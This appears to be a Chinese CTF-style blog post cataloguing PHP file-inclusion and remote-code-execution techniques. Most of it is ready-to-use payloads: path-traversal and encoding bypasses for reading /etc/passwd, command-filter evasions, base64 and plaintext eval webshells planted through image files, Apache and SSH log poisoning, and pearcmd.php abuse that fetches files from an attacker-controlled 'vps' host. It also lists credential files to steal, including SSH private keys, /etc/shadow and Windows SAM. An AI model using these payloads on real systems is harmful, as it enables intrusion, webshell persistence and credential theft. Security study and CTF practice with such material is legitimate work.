文件包含与RCE

文件包含与RCE

文件包含

文件包含常见函数

1
2
3
PHP:include(),include_once(),require(),require_once(),fopen(),readfile() 等
JSP Servlet:ava.io.File(),java.io.FileReader() 等
ASP:includefile,includevirtual 等

当 PHP 包含一个文件时,会将该文件当做 PHP 代码执行,而不会在意文件是什么类型。

本地文件包含(LFI)

[1]%00 截断

需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效。 ?file=../../../../../../../../../etc/passwd%00

[2]路径长度截断

Linux 需要文件名长于 4096,Windows 需要长于 256。 ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

[3]点号截断

只适用 Windows,点号需要长于 256。 ?file=../../../../../../../../../boot.ini/………[…]…………

远程文件包含(RFI)

条件 allow_url_include = on

实质上和LFI一样,只是能够包含远程的文件

用得比较多的协议有php://input

伪协议

php://input

利用条件: allow_url_include=On allow_url_fopen=Off/On

php://input是个可以访问请求的原始数据的只读流,可以接收post请求作为输入流的输入,将请求作为PHP代码输入,以达到以post的形式进行输入的目的就可以执行命令命令 遇到file_get_contents()要联想到php://input绕过

php://filter

1
2
3
4
5
6
7
8
9
10
11
12
<?php
file_get_contents($file1); #文件读取
file_put_contents($file2,$txt); #文件写入
?>

payload:

?file1=php://filter/resource=flag.php #明文读取
?file1=php://filter/read=convert.base64-encode/resource=flag.php #编码读取

?file2=php://filter/resource=test.txt&txt=test #明文写入
?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=test #编码写入

利用条件: allow_url_include=On allow_url_fopen=Off/On

常见编码有两种方式:base64/rot-13编码,两种过滤器分别为: base64:convert.base64-encode rot-13:string.rot13 扩展(绕过方式): https://blog.csdn.net/woshilnp/article/details/117266628 https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

data://

利用条件: allow_url_include=On allow_url_fopen=On

类似php://input,用户控制输入流 data://text/plain;base64,Y2F0IC9mbGFn data:text/plain;base64,Y2F0IC9mbGFn

zip://

利用条件: allow_url_include=On allow_url_fopen=Off/On

zip://可以访问压缩包里面的文件,当它与包含函数结合时,zip://流会被当作php文件执行,从而实现任意代码执⾏。只需要是zip的压缩即可,后缀名可以任意更改 zip:///tmp/file.zip%23flag.txt

phar://

利用条件: allow_url_include=On allow_url_fopen=Off/On

php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压,与zip协议有些相似

netdoc://

在java中可以利用netdoc协议读取文件,可以简单认为部分代替了file协议,多用于ssrf

RCE

RCE英文全称:remote command/code execute(远程命令/代码执行漏洞) 漏洞出现的原因:没有在输入口做输入处理。 我们常见的路由器、防火墙、入侵检测等设备的web管理界面上可能会提供给用户一个命令操作的web界面/接口,如果此接口未做过滤/有漏洞,攻击者有可能直接向服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。

危险函数:

php:eval()assert()create_function()call_user_func()call_user_func_array()exec() asp:eval() perl:execsystemqx// python:os.system() go:exec.Command()

绕过方式

过滤cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
more:        一页一页的显示档案内容
less: 与 more 类似 head:查看头几行
tac: 从最后一行开始显示,可以看出 taccat 的反向显示
tail: 查看尾几行
nl: 显示内容,顺便输出行号
od: 以二进制的方式读取档案内容
vi: 一种编辑器,这个也可以查看
vim: 一种编辑器,这个也可以查看
sort: 文件排序并输出也可以查看内容
uniq: 可以查看 file -f:报错出具体内容 grep
strings: 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
paste 把每个文件以列对列的方式,一列列地加以合并
grep grep { flag.php打印有”{“的一行
sed 一种编辑器,可以用sed -f flag.php读取flag
rev 读取倒叙的文件内容

过滤空格

使用/**/<<>%20%09$IFS$9${IFS}IFS$IFS$1

过滤分隔符 /

利用;执行多条命令

1
?cmd=cd xx;ls -al

过滤运算符|和&

使用;%0a

过滤flag、php等字符

拼接字符串绕过
1
?cmd=m=p%0an=hp%0acat${IFS}flag.$m$n
ls -i
1
ls -i + cat `find / -inum id`

组合拳

1
2
ls -i   #找出文件pid
cat `find / -inum id` #find / -inum id返回此id对应的文件名(路径)
输出到另一个文件
1
2
3
4
printf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 cat `cat /tmp/hello`
#printf /fla > /tmp/hello ----> 将 /fla 写入/tmp/hello文件
#printf g >> /tmp/hello ----> 将 g 追加写入/tmp/hello文件。目前/tmp/hello文件中的内容就是:/flag
cat `cat /tmp/hello` ----> `cat /tmp/hello` 会输入出 /flag,cat 会读取 /flag ,即可得到flag。
编码绕过(写入文件)
1
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d 1.php
单双引号绕过
1
ca''t fl''ag 或ca""t fl""ag
shell变量绕过

ca$@t fla$@g或者ca$1t fla$2g

反斜杠绕过
1
ca\t f\lag
通配符绕过
1
2
cat f*
cat fla?

其他

花括号

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令 {cat,flag}

反引号
1
cat `ls`

相当于cat目录下所有文件

非法变量

https://blog.csdn.net/mochu7777777/article/details/115050295

1
2
$var = $_REQUEST['a_b.'];
eval($var);

PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

传参 ?a[b.=system("ls");

一些组合拳payload
1
2
3
4
5
6
7
8
9
10
11
tac</fla\g.php||
awk%09'/f/{print}'%09/fla?||
uniq${IFS}/f???
/???/????64 /????
uniq `expr substr $PATH 11`f*
od -c ${OLDPWD}flag
cat ${PATH:0:1}f*
${PATH:${#HOME}:${#SHLVL}}${PATH:${#LESS}:${SHLVL}} #ls
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}?? #应该是这个:nl flag
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ???? #/bin/cat flag
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ???? #/bin/base64 flag

无参数/无数字字母RCE

参考https://xz.aliyun.com/t/8107#toc-0、https://xz.aliyun.com/t/9360

过滤system popen()passthru()proc_open()pcntl_exec()shell_exec()

(1)一些常用函数

1
2
3
4
5
6
print_r() 打印字符串(可以用连接符)、数组、对象。
scandir() 扫描目录下的文件
current() 返回数组中的当前单元, 默认取第一个值。
localeconv() 返回一包含本地数字及货币格式信息的数组
pos() 与current差不多
可以执行a(b(c()))形式时,print_r(scandir(current(localeconv()))) 读当前目录文件

(2)读取文件函数

1
2
3
4
5
6
7
file_get_contents() 把整个文件读入一个字符串中
file() 把整个文件读入一个数组中;
readfile() 读入一个文件并写入到输出缓冲;
highlight_file() 对文件进行语法高亮显示;
show_source() 对文件进行语法高亮显示;
array_flip() 将读取当前目录的键和值进行反转
array_rand() 随机输出键

LFI_to_RCE

example:

1
2
3
<?php
include($_GET['file']);
?>

图片马getshell

条件: allow_url_include=on allow_url_fopen=on

图片马内容,会在当前目录下生成shell.php

1
<?php fputs(fopen("shell.php","w"),'<? @eval($_POST[1]);?>');?>

临时文件+phpinfo条件竞争getshell、

基本没遇到过,写个思路以及别人的方法,遇到了再深入

思路:实质上是连续传输很大的字节到服务器导致删除文件有时间差,包含临时的/tmp/6字节长度文件名php

脚本:python2的脚本

日志getshell

apache日志文件

条件: apache日志文件路径已知,或配置文件路径已知,有可读权限

先看/etc/init.d/httpd/etc/httpd/conf/httpd.conf找到log文件路径

1
2
3
4
5
6
7
/<?php fputs(fopen("/var/www/html/shell.php","w"),'<? @eval($_POST[1]);?>');?>

payload:
?file=/usr/local/apache/logs/error_log
?file=/usr/local/apache/logs/access_log

?file=shell.php

ssh日志文件

条件 SSH日志路径已知,有可读权限

将ssh用户名写为php马,ssh自动写入/var/log/auth.log

1
2
3
4
ssh '<?php phpinfo();?>'@192.168.136.143

payload:
?file=/var/log/auth.log

Session文件包含getshell

条件: php>=5.4 session.upload_progress.enable = on 已知session.save_path

分为两种

  1. session.upload_progress.cleanup = on

文件会清空,需要条件竞争

  1. session.upload_progress.cleanup = off

文件不会清空,直接包含session.save_path+session.upload_progress.prefix+session_id文件

pearcmd.php文件包含getshell

条件 安装了pear扩展 已知pearcmd.php路径(默认路径是/usr/local/lib/php/pearcmd.php) register_argc_argv=on(只有开启了,$_SERVER['argv']才会生效。)

三种方法

config-create

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

install

1
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test.php

download

1
?+download+http://[vps]:[port]/test1.php&file=/usr/local/lib/php/pearcmd.php

具体参考:pearcmd文件包含getshell

文件读取利用

常见读取的敏感文件路径

参考https://www.buaq.net/go-161450.html

windows

1
2
3
4
5
6
7
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

Linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts //ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts当下次访问相同计算机时,OpenSSH会核对公钥如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/redhat-release 系统版本
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/var/lib/mlocate/mlocate.db //全文件路径
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/porc/self/cmdline //当前进程的cmdline参数
/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid
/proc/pid/cmdline 则可以看到对应pid进程的完整命令行
/proc/net/fib_trie 内网IP
/proc/self/environ 环境变量
/proc/self/loginuid 当前用户

绕过思路

可以进行fuzz

1
2
3
4
5
6
7
8
9
10
11
12
url编码代替.或者/,如使用%2F代替/
?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd
二次编码(%25)
?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd
加入+
?filename=.+./.+./bin/redacted.dll
%00
?filename=.%00./file.php/etc/passwd%00.jpg
\
?filename=..%5c..%5c/windows/win.iniJava
%c0%ae 安全模式绕过
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Linux下的常见利用姿势

用户目录下的敏感文件

1
2
3
4
5
6
7
8
9
10
11
12
13
.bash_history 
.zsh_history
.psql_history
.mysql_history
.profile
.bashrc
.gitconfig
.viminfo

任意文件读取/etc/passwd
提取passwd第一列,即root等一系列用户名
history/root/.bash_history
暴破所有用户的.bash_history/home/§root§/.bash_history

历史命令重点关注出现的密码、路径、配置文件路径、其他关联IP、日志文件、war包、备份文件路径等等,可进一步读取或利用。 PS:如要下载文件,可能会导致过大文件下载失败,可以使用wget进行下载,比如catanlina.out日志文件、war包、备份文件等等。

全路径

mlocate.db数据库里存储了本地所有文件的配置信息 /var/lib/mlocate/mlocate.db利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息 locate mlocate.db config locate mlocate.db webapps locate mlocate.db www

获取到路径后可以进一步挖掘敏感信息和系统漏洞

程序源代码

利用全路径或者其他地方获取到的路径读取一些关键的程序源码。读取WEB-INF/web.xml,进一步读取class文件,反编译得到源码。读取war包,反编译获取源码。

应用配置文件

获取到网站的相关配置信息,包括站点配置、数据库配置等等,也可进一步获取到源码。

  • java站点 /WEB-INF/web.xml /WEB-INF/classes/applicationContext.xml /WEB-INF/classes/xxx/xxx/xxx.class core.jar如果遇到Shiro站点,可以直接利用全路径找到core.jar,去下载core.jar,下载后反编译搜索Base64.decode直接找key,进而getshell。
  • tomcat /usr/local/tomcat/conf/tomcat-users.xml
  • nginx /www/nginx/conf/nginx.conf /etc/nginx/nginx.conf /usr/local/nginx/conf/nginx.conf /usr/local/etc/nginx/nginx.conf
  • apache /etc/httpd/conf/httpd.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf
  • redis /etc/redis.conf
  • ssh /etc/ssh/sshd_config

应用日志文件

利用日志文件获取网站后台地址、api接口、备份、等等敏感信息。

  • tomcat 可以先找到/tomcat/bin/catalina.sh,里边有log的配置路径 /webapps/ROOT/logs/catalina.out
  • apache /var/log/apache2/access.log /var/log/apache2/error.log /var/log/httpd/access_log /etc/httpd/logs/access_log /etc/httpd/logs/error_log /etc/httpd/logs/error.log
  • nginx /var/log/nginx/access.log /var/log/nginx/error.log /usr/local/var/log/nginx/access.log /usr/local/nginx/logs

Windows下的利用姿势

盲读取桌面文件

fuzz桌面文件,比如1.txt、2.txt、密码.txt、pass.txt、password.txt等。


文件包含与RCE
http://example.com/2023/01/01/文件包含与RCE/
作者
dddkia
发布于
2023年1月1日
许可协议